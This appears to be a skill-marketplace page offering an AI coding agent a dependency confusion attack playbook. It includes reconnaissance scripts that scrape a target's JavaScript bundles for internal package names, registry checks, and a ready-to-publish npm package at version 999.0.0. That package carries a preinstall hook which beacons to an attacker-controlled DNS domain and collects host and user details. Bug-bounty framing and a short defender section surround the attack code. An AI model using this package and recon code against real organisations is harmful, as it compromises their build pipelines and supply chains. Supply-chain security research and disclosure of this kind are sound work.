# Dep Confusion

> Dependency confusion — publish a higher-version internal package name on public registry (npm/PyPI/Maven/Crates) to coerce CI/CD into pulling attacker code.

- Skill: `purpleailab/dep-confusion` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/dep-confusion`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/dep-confusion/raw
- Safety review: WARNING
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/dep-confusion

---


# Dependency Confusion (Alex Birsan 2021)

When an org uses **internal** private packages (e.g. `@target-internal/utils`)
AND a build system that searches BOTH public + private registries, an
attacker can publish a public package w/ the **same name at higher version**.
Default resolvers pick highest version → public package runs in CI.

## 1. Reconnaissance — find internal package names

| Source | Pattern |
|---|---|
| `package.json` in public repo | `"@target/foo"` scoped packages |
| `package.json` exfiltrated from web (`/static/`) | dependency lists |
| Webpack bundles | leaked `package.json` strings |
| `requirements.txt` / `Pipfile` exposure | `target-internal-lib` |
| `pom.xml` / `build.gradle` | `<groupId>com.target</groupId>` |
| Github org code search | `@scope` patterns in user/org-owned repos (sometimes accidentally public) |
| Stack Overflow / Stack Exchange | engineers asking about internal libs |
| Sourcegraph public index | broad search across exposed orgs |

```bash
# Pull all JS bundle URLs from a target
curl -s "$TARGET" | grep -oP 'src="[^"]*\.js"' | sort -u | while read js; do
  curl -s "$TARGET$js" | grep -oE '@[a-z0-9_-]+/[a-z0-9_-]+'
done | sort -u
```

## 2. Verify the package is private

```bash
# Check npm public
npm view @target/internal-utils 2>&1 | grep -E 'E404|not in this registry'
# E404 = name available publicly → confusion candidate

# PyPI
pip index versions target-internal-utils
# "ERROR: No matching distribution" = name available

# Maven Central via search
curl -s "https://search.maven.org/solrsearch/select?q=g:com.target+AND+a:internal-lib" | jq
```

If the name is taken publicly already, confusion path closed (unless
you can take it over — check abandoned packages w/ no maintainer email).

## 3. Build the malicious package

```bash
mkdir attack-pkg && cd attack-pkg

# package.json
cat > package.json <<'EOF'
{
  "name": "@target/internal-utils",
  "version": "999.0.0",
  "description": "auth-research only",
  "scripts": {
    "preinstall": "node beacon.js"
  }
}
EOF

# beacon.js — DO NOT execute payload, just confirm install
cat > beacon.js <<'EOF'
const https = require('https');
const os = require('os');
const dns = require('dns');

// Resolve attacker-controlled subdomain to confirm execution
// Use Burp Collaborator / interactsh / your own DNS server
const subdomain = require('crypto').randomBytes(8).toString('hex');
dns.lookup(`${subdomain}.YOUR_INTERACT_DOMAIN`, () => {});

// Also collect basic env w/o exfil (just locally print for testing)
console.log({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  hostname_dns: dns.getServers(),
});
EOF
```

## 4. Publish

```bash
npm publish --access public
# For org scopes, may need to register the @scope first
```

## 5. Wait + observe

Within hours-days, target's CI will pull `999.0.0`. Burp Collaborator
shows DNS hits.

## 6. Programs that PAY for this

- Microsoft, Apple, PayPal, Tesla, Yelp, Uber, Shopify, Netflix, Yahoo
  paid out $30k-$130k EACH to Alex Birsan in the original 2021 campaign
- Many BB programs explicitly accept dep-confusion reports under their
  "supply chain" scope
- Bugcrowd has a "Source Code Disclosure / Supply Chain" reward tier

## 7. PoC framing (for the report)

DO NOT:
- Run any actual exploit logic
- Exfiltrate any data
- Steal credentials
- Disable security

DO:
- Generate a benign DNS callback (interactsh / Burp Collaborator)
- Capture the timestamp + source IP from your callback log
- Document the package as "research-only", deprecate it via npm immediately after PoC
- Provide cleanup notes: "package @target/internal-utils@999.0.0 published 2026-XX-XX, deprecated 2026-XX-XX, no functional payload"

## 8. Severity

| Bug | Severity |
|---|---|
| Confirmed install on production build infra | Critical 10.0 |
| Confirmed install on staging/dev | Critical 9.0 |
| Internal package name exposed but no public install attempt | High (depends on data) |

## 9. Defender

- **Block public-registry fallback** for scoped packages: `.npmrc` `@target:registry=https://internal-npm.target.com/`
- Use lockfiles + integrity hashes (`package-lock.json` w/ `integrity` field)
- For PyPI: `pip install --index-url internal-pypi/ --extra-index-url public-pypi/` is BACKWARDS — use `--index-url internal-pypi/ --no-index` and explicitly allowlist public packages
- Reserve internal namespace prefixes on public registries before they're used internally
- npm: use the `@org` scope and publish a public empty placeholder w/ `private` field

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Dependency Confusion/`
- Alex Birsan's original writeup: https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

## Known exemplars
- Alex Birsan 2021: 35+ Fortune 500 targets, $130k+ in bounties
- Multiple H1/BC programs continue to pay $3-30k for confirmed installs
- Repeated incidents in 2022-2024 — pattern not dying

